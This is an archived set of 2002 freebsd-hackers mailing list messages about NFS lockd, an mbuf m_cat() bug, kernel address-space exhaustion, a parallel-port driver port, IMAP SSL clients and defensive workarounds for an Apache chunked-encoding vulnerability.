From owner-freebsd-hackers Sun Jun 23 0:36: 1 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from t-online.fr (mail2.in.t-online.fr [213.44.120.47]) by hub.freebsd.org (Postfix) with ESMTP id C6D7737B403 for ; Sun, 23 Jun 2002 00:35:55 -0700 (PDT) Received: from t-online.fr (localhost [127.0.0.1]) by localhost.in.t-online.fr (Postfix) with ESMTP id 906D548F2; Sun, 23 Jun 2002 09:35:50 +0200 (CEST) Received: from denis-bsd.in.t-online.fr (denis-bsd.in.t-online.fr [213.44.126.6]) by t-online.fr (Postfix) with ESMTP id 0A85748DC; Sun, 23 Jun 2002 09:35:50 +0200 (CEST) Date: Sun, 23 Jun 2002 09:36:01 +0200 From: Mathieu Arnold To: Alfred Perlstein Cc: freebsd-hackers@freebsd.org Subject: Re: FreeBSD NFS server benchmarks vs. OpenBSD, NetBSD? Message-ID: <43500000.1024817761@denis-bsd.in.t-online.fr> In-Reply-To: <20020623052359.GJ53232@elvis.mu.org> References: <3D129A60.99AA2608@mindspring.com> <20020622192803.B20405@dragon.nuxi.com> <20020623052359.GJ53232@elvis.mu.org> X-Mailer: Mulberry/2.2.1 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --On Saturday, June 22, 2002 22:23:59 -0700 Alfred Perlstein wrote: > > Actually FreeBSD 5.x should have lockd support. I should know, I > ported it from BSD/os. Will it be MFCed ? -- Mathieu Arnold To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 0:38:25 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id 50B7237B400 for ; Sun, 23 Jun 2002 00:38:21 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1192) id 27D53AE160; Sun, 23 Jun 2002 00:38:21 -0700 (PDT) Date: Sun, 23 Jun 2002 00:38:21 -0700 From: Alfred Perlstein To: Mathieu Arnold Cc: freebsd-hackers@freebsd.org Subject: Re: FreeBSD NFS server benchmarks vs. OpenBSD, NetBSD? Message-ID: <20020623073821.GL53232@elvis.mu.org> References: <3D129A60.99AA2608@mindspring.com> <20020622192803.B20405@dragon.nuxi.com> <20020623052359.GJ53232@elvis.mu.org> <43500000.1024817761@denis-bsd.in.t-online.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <43500000.1024817761@denis-bsd.in.t-online.fr> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Mathieu Arnold [020623 00:36] wrote: > > > --On Saturday, June 22, 2002 22:23:59 -0700 Alfred Perlstein > wrote: > > > > >Actually FreeBSD 5.x should have lockd support. I should know, I > >ported it from BSD/os. > > Will it be MFCed ? Not by me, it requires more work than I have time for right now. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 0:52: 8 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp.cwnt.com (smtp.cwnt.com [192.116.246.129]) by hub.freebsd.org (Postfix) with ESMTP id 30F9E37B400 for ; Sun, 23 Jun 2002 00:52:04 -0700 (PDT) X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1255" Content-Transfer-Encoding: quoted-printable Subject: m_cat() does not update m_pkthdr.len Date: Sun, 23 Jun 2002 10:52:02 +0300 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: m_cat() does not update m_pkthdr.len Thread-Index: AcIaittjCJd7toR7EdatAgDQtyxpMA== From: "Yahel Zamir" To: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, During development of networking code in FreeBSD kernel,=20 we noticed that m_cat(p1, p2) does NOT do some necessary things:=20 p1->m_pkthdr.len +=3D p2->m_pkthdr.len;=20 p2->m_flags &=3D ~M_PKTHDR;=20 Thanks,=20 Yahel. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 1: 1:54 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mobile.webweaving.org (fia224-72.dsl.hccnet.nl [62.251.72.224]) by hub.freebsd.org (Postfix) with ESMTP id 9C83537B40A for ; Sun, 23 Jun 2002 01:01:31 -0700 (PDT) Received: from localhost.leiden.webweaving.org (localhost.leiden.webweaving.org [127.0.0.1] (may be forged)) by mobile.webweaving.org (8.12.2/8.10.2) with ESMTP id g5N81It3002478; Sun, 23 Jun 2002 10:01:18 +0200 (CEST) X-Curiosity: Killed the Cat X-Huis-aan-Huis-deur-sticker: nee-nee X-Spam: no X-Passed: MX on Gandalf.WebWeaving.org Sun, 23 Jun 2002 10:01:18 +0200 (CEST) and masked X-No-Spam: Neither the receipients nor the senders email address(s) are to be used for Unsolicited (Commercial) Email without the explicit written consent of either party; as a per-message fee is incurred for inbound and outbound traffic to the originator. Date: Sun, 23 Jun 2002 10:01:18 +0200 (CEST) From: dirkx@covalent.net X-X-Sender: dirkx@mobile.webweaving.org To: yid@softhome.net Cc: tlambert2@mindspring.com, root@utility.clubscholarship.com, freebsd-hackers@FreeBSD.org Subject: Re: inuring FreeBSD to the apache bug without upgrading apache ? In-Reply-To: <20020623003014.1575c491.yid@softhome.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 23 Jun 2002, Joshua Lee wrote: > On Thu, 20 Jun 2002 19:59:20 -0700 > Terry Lambert wrote: > > > Patrick Thomas wrote: > > > Is it possible to patch/recompile FreeBSD 4.5 in such a way that your > > > system is no longer vulnerable to the "chunking" attack, even if you are > > > still running a vulnerable apache ? > > > > Not FreeBSD, but it's possible to reconfigure Apache. > > > > The way you would deal with this would be to tell Apache that it > > was an HTTP 1.0 server, since chunking is an HTTP 1.1 feature. > > I've found a better solution! On today's freshports there is something > called mod_blowchunks :-) If installed, it will reject chunking and log > it. This is an alternative to upgrading Apache. Given the place the problem occurs: I'd be weary of such solutions. Apaceh's myrad of config abilities are second only to sendmail - and it is easy to let a certain case slip through. If nessesary simply do a 'cvs diff' on apache it's cvs (dev.apache.org for anon access; I am willing to work with BSD developers to help if needed) to see the relatively few lines of code which are an issue - and which can be backported easily. Dw To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 2: 1: 8 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by hub.freebsd.org (Postfix) with ESMTP id BF65B37B401 for ; Sun, 23 Jun 2002 02:01:02 -0700 (PDT) Received: from pool0056.cvx21-bradley.dialup.earthlink.net ([209.179.192.56] helo=mindspring.com) by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17M3Ee-0000cR-00; Sun, 23 Jun 2002 02:00:41 -0700 Message-ID: <3D158E12.CDB87171@mindspring.com> Date: Sun, 23 Jun 2002 02:00:02 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrick Thomas Cc: Nielsen , hackers@freebsd.org Subject: Re: (jail) problem and a (possible) solution ? References: <20020622164732.L68572-100000@utility.clubscholarship.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Patrick Thomas wrote: > I think I'll just decrease my swap size from 2 gigs to 1 gig - is that a > reasonable alternative that provides the same benefit and possible > solution to this problem ? > > ...since bsically 0 swap has ever been used on the machine anyway... Not really. The code in machdep.c allocated pmaps for swapped memory based on the size of real memory, rather than based on available swap. The reason it does this is that you can (effectively) add an arbitrary amount of swap later with "swapon", without the swap devices at the time being known to the kernel at boot. THis makes it impossible to prereserve the number of pmap pages that will be needed for the actual amount of swap. Matt Dillon made some autosizing changes after I complained about this before. My actual complaint was to implicate the size of real memory available relative to the size of the full address space. The change he made attempts to autosize, and doesn't quite mirror this policy directly. THis code is not available in 4.5. I believe that it was back-ported to 4.6, but you would have to look at the CVS log on machdep.c to be sure about this -- it may only be in -current. The upshot of this is that having a lot of memory reserves pmap entries at 4K per 4M of real OR virtual memory. The result of this is that at 4G of physical RAM, you actually end up allocating more pmap's than 1G of memory can contain, since the total of physical RAM plus swap over 1024 is larger than 1G minus the amount taken by an idle kernel, not including the page mappings. If you have 3G of real RAM (which you do), then you are on the borderline of running out. When you factor in the amount of *potential* swap that machdep.c reserves, plus tuning for maxfiles/sockets/inpcb/tcpcb/mbufs/etc. (if any), PLUS the RAM taken up for things associated with running over 1000 processes (as your system does), then you end up exhausting the amount of VM space available. As I said before, though, the only way to know for sure if this is your real problem is to break to the debugger after the lockup (it's *not* a crash), and check out the wait channels for the processes thar are unable to run. If you want a tweak for 4.5 that has about a 95% proability of masking the problem, then you need to up the KVA space. Unfortunately, it's not really possible to tell you where every byte of memory is going. Also, unfortunately, the pmap's for swappable memory are not themselves swappable (or this would not be a problem). Probably, pmaps for swap and for file backing store for exectuables should be allocated when they are needed, not preallocated (they can be, if you are not out of RAM, or have RAM, but are out of KVA space in which to create mappings) [see "growkernel"]. Taking out 1G of physical memory from the box might also fix the problem without a kernel tweak, FWIW. However, right now, you need to cause the problem, enter the debugger, and use "ps" in the debugger to examine the wait channels. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 2: 7: 9 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by hub.freebsd.org (Postfix) with ESMTP id 87A3F37B400 for ; Sun, 23 Jun 2002 02:07:04 -0700 (PDT) Received: from pool0056.cvx21-bradley.dialup.earthlink.net ([209.179.192.56] helo=mindspring.com) by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17M3Kk-0003Y0-00; Sun, 23 Jun 2002 02:06:58 -0700 Message-ID: <3D158F8C.8AA61132@mindspring.com> Date: Sun, 23 Jun 2002 02:06:20 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Joshua Lee Cc: root@utility.clubscholarship.com, freebsd-hackers@freebsd.org Subject: Re: inuring FreeBSD to the apache bug without upgrading apache ? References: <20020620141424.U68572-100000@utility.clubscholarship.com> <3D129688.356A87D0@mindspring.com> <20020623003014.1575c491.yid@softhome.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Joshua Lee wrote: > Terry Lambert wrote: > > Patrick Thomas wrote: > > > Is it possible to patch/recompile FreeBSD 4.5 in such a way that your > > > system is no longer vulnerable to the "chunking" attack, even if you are > > > still running a vulnerable apache ? > > > > Not FreeBSD, but it's possible to reconfigure Apache. > > > > The way you would deal with this would be to tell Apache that it > > was an HTTP 1.0 server, since chunking is an HTTP 1.1 feature. > > I've found a better solution! On today's freshports there is something > called mod_blowchunks :-) If installed, it will reject chunking and log > it. This is an alternative to upgrading Apache. But if a client uses chunking legitimately, and does so becuase it believes it's talking to an HTTP server, you've just broken that client's ability to POST/PUT. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 3:15:14 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from lockdown.spectrum.fearmuffs.net (c164-147.pro.thalamus.se [212.31.164.147]) by hub.freebsd.org (Postfix) with ESMTP id 935F637B406; Sun, 23 Jun 2002 03:14:47 -0700 (PDT) Received: from lockdown.spectrum.fearmuffs.net (localhost.spectrum.fearmuffs.net [127.0.0.1]) by lockdown.spectrum.fearmuffs.net (8.12.3/8.12.3) with ESMTP id g5NAF1XD053536; Sun, 23 Jun 2002 12:15:01 +0200 (CEST) (envelope-from gmh003532@brfmasthugget.se) Received: (from redpixel@localhost) by lockdown.spectrum.fearmuffs.net (8.12.3/8.12.3/Submit) id g5NAF1Lu053535; Sun, 23 Jun 2002 12:15:01 +0200 (CEST) (envelope-from gmh003532@brfmasthugget.se) Date: Sun, 23 Jun 2002 12:15:01 +0200 From: Martin Faxer To: nsouch@FreeBSD.org Cc: hackers@FreeBSD.org Subject: ppbus questions Message-ID: <20020623101501.GA53454@lockdown.spectrum.fearmuffs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.3.99i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi! i'm trying to write a driver for an old cd-rom drive that you connect to the parallel port. it is a shuttletech "para drive" 525. i don't have any driver docs or technical specifications but i believe that it uses some kind of a SCSI to parallel chipset. the linux tree seems to have drivers for shuttletech EPSA-2 chipsets, so i'm currently trying to port their probe routines to FreeBSD to see if my cd-rom is indeed equipped with one of those chipsets. the linux code uses outb() and inb() directly to communicate with the parallel port so i have to port it to use the ppbus interface. here are my questions: 1) do the ppb_[rw][dcs]tr() functions have any "side effects", like eg. does ppb_wdtr() drive strobe high or something like that to tell the device that there is data waiting, or is it simply a wrapper around outb() ? (ps. i tried to find the code for these functions but didn't succeed since the macros make use of PPBUS_IO() which is generated and calls some other function.) if the ppb_[rw][dcs]tr() function have side effects, are there any lower level functions which simply wrap around inb() and outb() ? 2) do the ppb_[rw][dcs]tr() functions wait, or do i have to call some function to do that, like DELAY() ? the linux code calls usleep() after sending commands to the device. (i believe it is bad to call DELAY() in a _probe() routine, but perhaps i can do that to start with...) 3) should i use micro sequences instead of doing ppb_*() calls ? i looked briefly at the man page but it seemed pretty complicated and i'm not a very experienced kernel hacker yet. i would be very grateful for any answers or tips you might have! best regards, Martin Faxér To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 3:16:52 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from utility.clubscholarship.com (utility.clubscholarship.com [198.78.70.175]) by hub.freebsd.org (Postfix) with ESMTP id 468E637B408 for ; Sun, 23 Jun 2002 03:16:19 -0700 (PDT) Received: from localhost (root@localhost) by utility.clubscholarship.com (8.11.6/8.11.6) with ESMTP id g5NAC5R99526; Sun, 23 Jun 2002 03:12:26 -0700 (PDT) (envelope-from root@utility.clubscholarship.com) Date: Sun, 23 Jun 2002 03:12:04 -0700 (PDT) From: Patrick Thomas To: Terry Lambert Cc: Nielsen , Subject: Re: (jail) problem and a (possible) solution ? In-Reply-To: <3D158E12.CDB87171@mindspring.com> Message-ID: <20020623030841.X68572-100000@utility.clubscholarship.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ok. I was just looking back at a previous comment you made: > Amusingly enough, you might actually have *better* luck with a > lot less swap... and thinking that even if removing most of the swap did not _solve/mask_ the problem, at least it would be a step in the same direction as upping KVA (even if it is not as large a step) but if that is not the case... ...then, has anyone written a HOWTO on upping it in 4.5-RELEASE ? You mentioned to look back over your own old posts on the subject - before I jump in and try it, I want to confirm what I believe to understand, I need to set the KVA value in my kernel config _and_ edit those other two files in the kernel source, then just recompile my kernel. Sound like I'm on the right track ? Terry, thanks again for your help and for all the help you regularly give to other people pursuing items such as this on the various FreeBSD lists. --PT On Sun, 23 Jun 2002, Terry Lambert wrote: > Patrick Thomas wrote: > > I think I'll just decrease my swap size from 2 gigs to 1 gig - is that a > > reasonable alternative that provides the same benefit and possible > > solution to this problem ? > > > > ...since bsically 0 swap has ever been used on the machine anyway... > > Not really. > > The code in machdep.c allocated pmaps for swapped memory based > on the size of real memory, rather than based on available swap. > > The reason it does this is that you can (effectively) add an > arbitrary amount of swap later with "swapon", without the swap > devices at the time being known to the kernel at boot. THis > makes it impossible to prereserve the number of pmap pages that > will be needed for the actual amount of swap. > > Matt Dillon made some autosizing changes after I complained > about this before. My actual complaint was to implicate the > size of real memory available relative to the size of the full > address space. The change he made attempts to autosize, and > doesn't quite mirror this policy directly. THis code is not > available in 4.5. I believe that it was back-ported to 4.6, > but you would have to look at the CVS log on machdep.c to be > sure about this -- it may only be in -current. > > The upshot of this is that having a lot of memory reserves > pmap entries at 4K per 4M of real OR virtual memory. The > result of this is that at 4G of physical RAM, you actually > end up allocating more pmap's than 1G of memory can contain, > since the total of physical RAM plus swap over 1024 is > larger than 1G minus the amount taken by an idle kernel, not > including the page mappings. > > If you have 3G of real RAM (which you do), then you are on > the borderline of running out. When you factor in the amount > of *potential* swap that machdep.c reserves, plus tuning for > maxfiles/sockets/inpcb/tcpcb/mbufs/etc. (if any), PLUS the > RAM taken up for things associated with running over 1000 > processes (as your system does), then you end up exhausting > the amount of VM space available. > > As I said before, though, the only way to know for sure if > this is your real problem is to break to the debugger after > the lockup (it's *not* a crash), and check out the wait channels > for the processes thar are unable to run. > > If you want a tweak for 4.5 that has about a 95% proability of > masking the problem, then you need to up the KVA space. > > Unfortunately, it's not really possible to tell you where > every byte of memory is going. Also, unfortunately, the > pmap's for swappable memory are not themselves swappable > (or this would not be a problem). Probably, pmaps for > swap and for file backing store for exectuables should be > allocated when they are needed, not preallocated (they can > be, if you are not out of RAM, or have RAM, but are out of > KVA space in which to create mappings) [see "growkernel"]. > > Taking out 1G of physical memory from the box might also > fix the problem without a kernel tweak, FWIW. > > However, right now, you need to cause the problem, enter > the debugger, and use "ps" in the debugger to examine the > wait channels. > > -- Terry > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 3:32:41 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by hub.freebsd.org (Postfix) with SMTP id A8DA737B400 for ; Sun, 23 Jun 2002 03:32:36 -0700 (PDT) Received: (qmail 4717 invoked by uid 417); 23 Jun 2002 10:31:03 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 23 Jun 2002 10:31:03 -0000 Received: from unknown ([216.194.4.199]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Sun, 23 Jun 2002 04:31:02 -0600 Date: Sun, 23 Jun 2002 06:28:30 -0400 From: Joshua Lee To: Terry Lambert Cc: root@utility.clubscholarship.com, freebsd-hackers@freebsd.org Subject: Re: inuring FreeBSD to the apache bug without upgrading apache ? Message-Id: <20020623062830.6137cdfc.yid@softhome.net> In-Reply-To: <3D158F8C.8AA61132@mindspring.com> References: <20020620141424.U68572-100000@utility.clubscholarship.com> <3D129688.356A87D0@mindspring.com> <20020623003014.1575c491.yid@softhome.net> <3D158F8C.8AA61132@mindspring.com> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.7.5claws (GTK+ 1.2.10; i386-portbld-freebsd4.6) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 23 Jun 2002 02:06:20 -0700 Terry Lambert wrote: > Joshua Lee wrote: > > Terry Lambert wrote: > > > The way you would deal with this would be to tell Apache that it > > > was an HTTP 1.0 server, since chunking is an HTTP 1.1 feature. > > > > I've found a better solution! On today's freshports there is something > > called mod_blowchunks :-) If installed, it will reject chunking and log > > it. This is an alternative to upgrading Apache. > > But if a client uses chunking legitimately, and does so becuase > it believes it's talking to an HTTP server, you've just broken > that client's ability to POST/PUT. You mean to say "it believes it is talking to an HTTP 1.1 server", yes? I guess using HTTP 1.0 is a better solution then. Of course, maybe the *best* solution IMVHO would be to upgrade to the Apache version without this bug. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 4: 2:28 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from lindt.urgle.com (lindt.urgle.com [62.49.202.23]) by hub.freebsd.org (Postfix) with ESMTP id 7C5A337B41D for ; Sun, 23 Jun 2002 04:01:31 -0700 (PDT) Received: from mike by lindt.urgle.com with local (Exim 3.33 #1) id 17M56m-000Eht-00; Sun, 23 Jun 2002 11:00:40 +0000 Date: Sun, 23 Jun 2002 12:00:40 +0100 From: Mike Bristow To: Neil Blakey-Milner Cc: Chris Dillon , Terry Lambert , Lamont Granquist , Jason Andresen , "Brandon D. Valentine" , Darren Pilgrim , Evan Dower , freebsd-hackers@FreeBSD.ORG Subject: Re: Cyrus vs. UW IMAP (was: Re: I Volunteer) Message-ID: <20020623120040.A56507@lindt.urgle.com> References: <3D13B778.1BB52411@mindspring.com> <20020621235955.Y88554-100000@mail.wolves.k12.mo.us> <20020622123644.GA33734@mithrandr.moria.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020622123644.GA33734@mithrandr.moria.org>; from nbm@mithrandr.moria.org on Sat, Jun 22, 2002 at 02:36:44PM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Jun 22, 2002 at 02:36:44PM +0200, Neil Blakey-Milner wrote: > On Sat 2002-06-22 (00:06), Chris Dillon wrote: > > There is always the option > > to use SSL, which is my preference, but unfortunately neither SSL nor > > SASL have widespread IMAP client support yet. > > Most IMAP clients I know of support SSL. Outlook, Outlook Express, > Eudora, Netscape, Evolution, mutt, pine, ... > > Which IMAP clients don't? MacOS X's Mail.app prior to about 10.1.2 or .3 - about 6 months back. -- You can't do maths without e -- David Walters To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 5:11:14 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id 12FC637B401 for ; Sun, 23 Jun 2002 05:11:07 -0700 (PDT) Received: from pool0005.cvx22-bradley.dialup.earthlink.net ([209.179.198.5] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17M6Cb-0000oQ-00; Sun, 23 Jun 2002 05:10:45 -0700 Message-ID: <3D15BA9F.4AB35302@mindspring.com> Date: Sun, 23 Jun 2002 05:10:07 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrick Thomas Cc: Nielsen , hackers@freebsd.org Subject: Re: (jail) problem and a (possible) solution ? References: <20020623030841.X68572-100000@utility.clubscholarship.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Patrick Thomas wrote: > ok. I was just looking back at a previous comment you made: > > > Amusingly enough, you might actually have *better* luck with a > > lot less swap... I meant reserve, not physical swap. I can see how it could have been confusing in context; sorry. > and thinking that even if removing most of the swap did not _solve/mask_ > the problem, at least it would be a step in the same direction as upping > KVA (even if it is not as large a step) but if that is not the case... > > ...then, has anyone written a HOWTO on upping it in 4.5-RELEASE ? You > mentioned to look back over your own old posts on the subject - before I > jump in and try it, I want to confirm what I believe to understand, I need > to set the KVA value in my kernel config _and_ edit those other two files > in the kernel source, then just recompile my kernel. > > Sound like I'm on the right track ? Yes. That's the way to do it for 4.5, specifically. FreeBSD really needs an internals book. But like I said, this changed between 4.5 and 4.6, and everyone who's buying books would be more interested in 5.x, and all the important things change too fast (writing an internals book is an ~2000 hour job, and that basically means that the important stuff can't change for a year, or you have to track it -- which inflates it to an ~3000 hour job). Basically, most of the important internal interfaces need to sit still so that a book can be written, or "no book". Even so, the selling life of the book will be limited to the amount of time after publication that things actually sit still. Kirk McKusick is rumored to be writing one; so was Wes Peters. Alfred and I discussed a device driver book that both of us thought needed to be written. Etc.. But no book, yet. I really hesitate to put down an A-B-C set of steps, if I know that not only is it only applicable to a couple of versions, none of them are the current version. 8-(. > Terry, thanks again for your help and for all the help you regularly give > to other people pursuing items such as this on the various FreeBSD lists. Eh, I'm noisy. 8-). You still need to run the debugger, I think. So far, this is all theory. It fits the facts, but I can think of two other very low probability ways to cause the same symptoms. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 5:16:14 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id 2F8A437B400 for ; Sun, 23 Jun 2002 05:16:09 -0700 (PDT) Received: from pool0005.cvx22-bradley.dialup.earthlink.net ([209.179.198.5] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17M6Hn-0003ty-00; Sun, 23 Jun 2002 05:16:08 -0700 Message-ID: <3D15BBE1.83E4DCF7@mindspring.com> Date: Sun, 23 Jun 2002 05:15:29 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Joshua Lee Cc: root@utility.clubscholarship.com, freebsd-hackers@freebsd.org Subject: Re: inuring FreeBSD to the apache bug without upgrading apache ? References: <20020620141424.U68572-100000@utility.clubscholarship.com> <3D129688.356A87D0@mindspring.com> <20020623003014.1575c491.yid@softhome.net> <3D158F8C.8AA61132@mindspring.com> <20020623062830.6137cdfc.yid@softhome.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Joshua Lee wrote: [ ... "mod_blowchunks" ... ] > > But if a client uses chunking legitimately, and does so becuase > > it believes it's talking to an HTTP server, you've just broken > > that client's ability to POST/PUT. > > You mean to say "it believes it is talking to an HTTP 1.1 server", yes? Yes. > I guess using HTTP 1.0 is a better solution then. Of course, maybe the > *best* solution IMVHO would be to upgrade to the Apache version without > this bug. Yeah; this whole thread is premised on working around the problem without an Apache software change. It's a reasonable premise (IMO) -- if you've got a custom compilation and a lot of modules, that can end up being a lot of software. I build a PHP4+SSL+Apache+IMAP+etc. source tree at one point, and it ended up being ~1.2 million lines of code, all told, that had to be made to work together. If you had "just built it", then it would be very hard to update just one component without repeating the whole process. My advice? Use CVS. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 5:28:30 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.eecs.harvard.edu (bowser.eecs.harvard.edu [140.247.60.24]) by hub.freebsd.org (Postfix) with ESMTP id 4755A37B403 for ; Sun, 23 Jun 2002 05:28:20 -0700 (PDT) Received: by mail.eecs.harvard.edu (Postfix, from userid 465) id 22D3554C831; Sun, 23 Jun 2002 08:28:19 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by mail.eecs.harvard.edu (Postfix) with ESMTP id 20B3854C64A for ; Sun, 23 Jun 2002 08:28:19 -0400 (EDT) Date: Sun, 23 Jun 2002 08:28:19 -0400 (EDT) From: Dan Ellard To: hackers@freebsd.org Subject: again: FreeBSD NFS server benchmarks vs. OpenBSD, NetBSD? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG 